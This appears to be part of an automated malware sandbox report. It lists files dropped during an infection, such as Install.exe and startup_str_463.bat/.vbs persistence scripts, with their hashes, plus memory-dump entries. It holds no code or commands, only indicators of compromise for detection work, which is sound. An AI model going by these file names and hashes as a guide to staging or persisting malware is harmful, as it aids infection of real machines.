ModuleAnalysisCache

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
Size 60KB
SHA256 f4750e5af8c84626318382887c9c17e6555eff006af7d7e88cadd562ab2ee8ed
MD5 0a9da256ffcfe42119c7a351e5eaaa9c
SHA1 c992b8e18cfc24faee739511beb5094189806177
SHA512 451f4d470fe938a7c71d340f0711a9d1cb98f542138bd95584244471fa5f31beba8274699be1e497742ce91182dc9e308ca2d9ce3d004174a8228cca4c118672
SSDEEP 1536:ZflJddh4iUxGYk+vH/fKQNUpeE711kDa5z+jH03IYo39i3j39MVvjBMrxjtAHkQM:ZflJddqiUGYk+vH/fKQNUpeE711kDa5L
MD5 SHA1 SHA512 SSDEEP

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 17KB
SHA256 d6338c24713b47ecb03f3fa9859ba0283702801cf29534759156e646f0d1a0e4
MD5 6605674a88ea6f3eaf515dfb013659a9
SHA1 24f7779029fb0b52523d9979db4b1a34a1295bba
SHA512 fd28a6175ece9a66cc71cbdcc135de8face843b9cae31de82f45fdc848fcad97c6a944270a37582524e23006cd2dc5f58ade5f5ab3cb462b794eece493aa6e10
SSDEEP 384:1M3HUQ31S1hgnKDRkaNHnnNXjs26XwzDbHmZz5R61UCqy7C:aE61SmKDRkiNXj76XwzDbGt5R61yy2
MD5 SHA1 SHA512 SSDEEP

Submit Download

Install.exe

Path C:\Users\Admin\AppData\Local\Temp\Install.exe
Size 163KB
SHA256 6cd0c5b5b528c15ad28d9f8e44ee2b4e46d8942e8c0592e89c056a3a3661c3b3
MD5 051b3f7c30caf2eedbed29daa6192efb
SHA1 a3e0f31e4b4367e5af06f71e7718e7d64ceb250d
SHA512 93288a5e145ebf48fb5b536cf331159dad81c1c0458099b5cfc649fddc9a5755739cab9d46c8a3f562dba1ed7ed4852c51eaebd73e9ea8ee28f053df22c74158
SSDEEP 3072:uQpsuVjdCw1fvqTrjl+k2CP8CMHxmzwMb4TvW8rFS4MEFqpDrZ4LMBBg:uQpsuVjdCw1fvU9SgcCcFS4MEFyJ
MD5 SHA1 SHA512 SSDEEP

Submit Download

__PSScriptPolicyTest_0wyevqzg.uyf.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_0wyevqzg.uyf.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
MD5 SHA1 SHA512

Submit Download

juYdNppliNP9.bat

Path C:\Users\Admin\AppData\Local\Temp\juYdNppliNP9.bat
Size 276B
SHA256 2701af3b8acd964af914b53106bd6f2eea0a3c961bc6c7d6b6f9037e40a2a06a
MD5 a2a210b1766bacc1a3017d4f6abe04fb
SHA1 5c9b686a6d7c30b087b31d7466a1635999bc5a5c
SHA512 8c6a2980d84e25a264d79c88c92fa1c4d57931654a795403ad3d261cd72a890bf5d25bc8cfed48b5eb8b1f0eba726cc8abda3414ff7f791951a25356a0e8cb5e
MD5 SHA1 SHA512

Submit Download

startup_str_463.bat

Path C:\Users\Admin\AppData\Roaming\startup_str_463.bat
Size 1003KB
SHA256 070f7c800e8278b2cad111635cec3c501ff0aa9aa93fdd9529fcb8736a06d56d
MD5 d6d62f532591a7d034abac21eff0b57b
SHA1 94c28efce74a67eb18d28bd51f65d285c8d1caef
SHA512 26f94770e0d250aa6e063af8d5422848a72753a72b20e62b33a76fef5453cdd9e1f70466a935ef0dec145af9b293e12a6ec0e9101f0bd8e80edd3f4be706294a
SSDEEP 24576:iGtp7xs0OFrW/eIeexsYboNCkhhdmjynCf7O:jXO5WnsYcTdPnwO
MD5 SHA1 SHA512 SSDEEP

Submit Download

startup_str_463.vbs

Path C:\Users\Admin\AppData\Roaming\startup_str_463.vbs
Size 115B
SHA256 176e89452f159c325124f909fd95b08bc3e3e195a7122c4ae081d9bb8de6b66a
MD5 11e6c7fb63a4bab2631507e6a92b3d5d
SHA1 c5e48469df5575453ef0eef969d1e3a47d7ed291
SHA512 301bdb0f2cc09abc5e199ca8d3a6301328ce0c483b9bc288667c8573b5af4af04cb472bf96d0c40f767f08510f68e0bffb9ff3c86b2c86ef4d749b714072eaa0
MD5 SHA1 SHA512

Submit Download

memory/1608-109-0x0000000006E50000-0x0000000006E96000-memory.dmp

Download

memory/2832-80-0x00000000091A0000-0x0000000009232000-memory.dmp

Download

memory/2832-99-0x0000000008E40000-0x0000000008E52000-memory.dmp

Download

memory/2832-125-0x000000000ACF0000-0x000000000ACFA000-memory.dmp

Download

memory/2832-79-0x0000000009000000-0x000000000906C000-memory.dmp

Download

memory/2832-131-0x0000000005920000-0x000000000595C000-memory.dmp

Download

memory/3144-6-0x0000000005BD0000-0x0000000005C36000-memory.dmp

Download

memory/3144-7-0x0000000005C40000-0x0000000005CA6000-memory.dmp

Download

memory/3144-23-0x000000000AC20000-0x000000000B1C6000-memory.dmp

Download

memory/3144-21-0x0000000008900000-0x0000000008908000-memory.dmp

Download

memory/3144-19-0x0000000008FF0000-0x000000000966A000-memory.dmp

Download

memory/3144-20-0x0000000008970000-0x000000000898A000-memory.dmp

Download

memory/3144-18-0x0000000006880000-0x00000000068CC000-memory.dmp

Download

memory/3144-17-0x00000000067D0000-0x00000000067EE000-memory.dmp

Download

memory/3144-16-0x0000000006300000-0x0000000006657000-memory.dmp

Download

memory/3144-22-0x0000000008A60000-0x0000000008B52000-memory.dmp

Download

memory/3144-98-0x0000000074AF0000-0x00000000752A1000-memory.dmp

Download

memory/3144-5-0x0000000005A30000-0x0000000005A52000-memory.dmp

Download

memory/3144-4-0x0000000074AF0000-0x00000000752A1000-memory.dmp

Download

memory/3144-3-0x0000000074AF0000-0x00000000752A1000-memory.dmp

Download

memory/3144-0-0x0000000074AFE000-0x0000000074AFF000-memory.dmp

Download

memory/3144-2-0x0000000005CD0000-0x00000000062FA000-memory.dmp

Download

memory/3144-1-0x0000000003410000-0x0000000003446000-memory.dmp

Download

memory/3448-52-0x0000000007700000-0x0000000007796000-memory.dmp

Download

memory/3448-48-0x0000000007330000-0x00000000073D4000-memory.dmp

Download

memory/3448-54-0x0000000074AF0000-0x00000000752A1000-memory.dmp

Download

memory/3448-53-0x0000000007680000-0x0000000007691000-memory.dmp

Download

memory/3448-51-0x00000000074F0000-0x00000000074FA000-memory.dmp

Download

memory/3448-50-0x0000000074AF0000-0x00000000752A1000-memory.dmp

Download

memory/3448-49-0x0000000074AF0000-0x00000000752A1000-memory.dmp

Download

memory/3448-46-0x0000000074AF0000-0x00000000752A1000-memory.dmp

Download

memory/3448-36-0x00000000072F0000-0x0000000007324000-memory.dmp

Download

memory/3448-37-0x0000000070CE0000-0x0000000070D2C000-memory.dmp

Download

memory/3448-25-0x0000000074AF0000-0x00000000752A1000-memory.dmp

Download

memory/3448-47-0x0000000006720000-0x000000000673E000-memory.dmp

Download

memory/3448-34-0x0000000074AF0000-0x00000000752A1000-memory.dmp

Download

memory/3448-57-0x0000000074AF0000-0x00000000752A1000-memory.dmp

Download

memory/3448-35-0x0000000074AF0000-0x00000000752A1000-memory.dmp

Download

memory/4960-111-0x00007FF8A8920000-0x00007FF8A8B29000-memory.dmp

Download

memory/4960-112-0x00007FF8A87F0000-0x00007FF8A88AD000-memory.dmp

Download

memory/4960-110-0x0000026559F70000-0x0000026559F9A000-memory.dmp

Download

memory/4960-105-0x0000026559C00000-0x0000026559C22000-memory.dmp

Download

memory/5048-118-0x0000000140000000-0x0000000140008000-memory.dmp

Download

memory/5048-116-0x0000000140000000-0x0000000140008000-memory.dmp

Download

memory/5048-115-0x0000000140000000-0x0000000140008000-memory.dmp

Download

memory/5048-114-0x0000000140000000-0x0000000140008000-memory.dmp

Download

memory/5048-113-0x0000000140000000-0x0000000140008000-memory.dmp

Download

memory/5048-120-0x00007FF8A87F0000-0x00007FF8A88AD000-memory.dmp

Download

memory/5048-119-0x00007FF8A8920000-0x00007FF8A8B29000-memory.dmp

Download